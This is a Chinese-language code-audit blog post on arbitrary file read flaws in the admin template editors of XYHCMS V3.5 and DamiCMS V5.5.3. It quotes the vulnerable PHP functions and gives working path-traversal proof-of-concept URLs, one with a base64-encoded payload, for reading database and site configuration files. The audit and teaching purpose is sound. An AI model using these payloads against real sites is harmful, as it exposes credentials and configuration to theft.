代码审计两个任意文件读取漏洞实例

Posted 专注于网络安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计两个任意文件读取漏洞实例相关的知识,希望对你有一定的参考价值。

0x00 前言

  大多数网站都提供读取文件功能,一般实现过程是,根据参数filename的值,获得该文件在网站上的绝对路径,读取文件。

  这里,通过两个任意文件读取漏洞实例去展示漏洞原理、漏洞危害。

0x01 漏洞实例一

环境搭建:

XYHCMS官网:http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载:https://pan.baidu.com/s/13q_ITM0pPTGlkaNv8uq2Iw

代码分析:

1、漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行:

    public function edit() {
        $ftype     = I(\'ftype\', 0, \'intval\');
        $fname     = I(\'fname\', \'\', \'trim,htmlspecialchars\');
        $file_path = !$ftype ? \'./Public/Home/\' . C(\'CFG_THEMESTYLE\') . \'/\' : \'./Public/Mobile/\' . C(\'CFG_MOBILE_THEMESTYLE\') . \'/\';
        if (IS_POST) {
            if (empty($fname)) {
                $this->error(\'未指定文件名\');
            }
            $_ext     = \'.\' . pathinfo($fname, PATHINFO_EXTENSION);
            $_cfg_ext = C(\'TMPL_TEMPLATE_SUFFIX\');
            if ($_ext != $_cfg_ext) {
                $this->error(\'文件后缀必须为"\' . $_cfg_ext . \'"\');
            }
            $content  = I(\'content\', \'\', \'\');
            $fname    = ltrim($fname, \'./\');
            $truefile = $file_path . $fname;
            if (false !== file_put_contents($truefile, $content)) {
                $this->success(\'保存成功\', U(\'index\', array(\'ftype\' => $ftype)));
            } else {
                $this->error(\'保存文件失败,请重试\');
            }
            exit();
        }
        $fname = base64_decode($fname);
        if (empty($fname)) {
            $this->error(\'未指定要编辑的文件\');
        }
        $truefile = $file_path . $fname;

        if (!file_exists($truefile)) {
            $this->error(\'文件不存在\');
        }
        $content = file_get_contents($truefile);
        if ($content === false) {
            $this->error(\'读取文件失败\');
        }
        $content = htmlspecialchars($content);

        $this->assign(\'ftype\', $ftype);
        $this->assign(\'fname\', $fname);
        $this->assign(\'content\', $content);
        $this->assign(\'type\', \'修改模板\');
        $this->display();
    }

这段函数中对提交的参数进行处理,然后判断是否POST数据上来,如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。

我们可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。

对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。

对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞。

漏洞利用:

登录网站后台,数据库配置文件路径:\\App\\Common\\Conf\\db.php
我们将这段组成相对路径,..\\\\..\\\\..\\\\App\\\\Common\\\\Conf\\\\db.php,然后进行base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
最后构造的链接形式如下:
http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
通过url访问,成功获取到数据库敏感信息:

0x02 漏洞实例二

环境搭建:

大米CMS官网:http://www.damicms.com
网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15)
程序源码下载:链接: https://pan.baidu.com/s/1QedJ1EelWHrIC4cX0kmWuA 密码: h4kj

代码分析:

漏洞文件位置:/Admin/Lib/Action/TplAction.class.php  第76-87行中:

public function add()  
{  
    $filename = dami_url_repalce(str_replace(\'*\',\'.\',trim($_GET[\'id\'])));  
    if (empty($filename))   
    {  
        $this->error(\'模板名称不能为空!\');  
    }  
    $content = read_file($filename);  
    $this->assign(\'filename\',$filename);  
    $this->assign(\'content\',htmlspecialchars($content));  
    $this->display(\'add\');  
}  

这段编辑模板的函数中,首先对获取的参数进行替换,然后判断文件是否为空,接着带入read_file函数中执行,可以看到参数并未进行任何过滤或处理,导致程序在实现上存在任意文件读取漏洞。

漏洞利用:

登录后台, 全局配置路径在\\Public\\Config\\config.ini.php,通过构造URL读取全局配置文件内容。
http://127.0.0.1/admin.php?s=Tpl/Add/id/.\\Public\\Config\\config.ini.php

0x03 END

  这两个漏洞实例都是在编辑状态下的任意文件读取,感觉还挺蛮有趣的,在黑盒渗透中,要想触及这个点还是挺有难度的。

  更多的时候,黑盒结合白盒的进行漏洞挖掘,可发现更多的安全漏洞。

 

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

以上是关于代码审计两个任意文件读取漏洞实例的主要内容,如果未能解决你的问题,请参考以下文章

ZZZPHP1.61 代码审计-从SQL注入到Getshell

[代码审计]Weiphp5.0 前台文件任意读取分析

[代码审计]Weiphp5.0 前台文件任意读取分析

代码审计两个简单的CSRF漏洞实例

代码审计之Finecms任意文件下载漏洞

Java代码审计之路二(SSRF漏洞审计)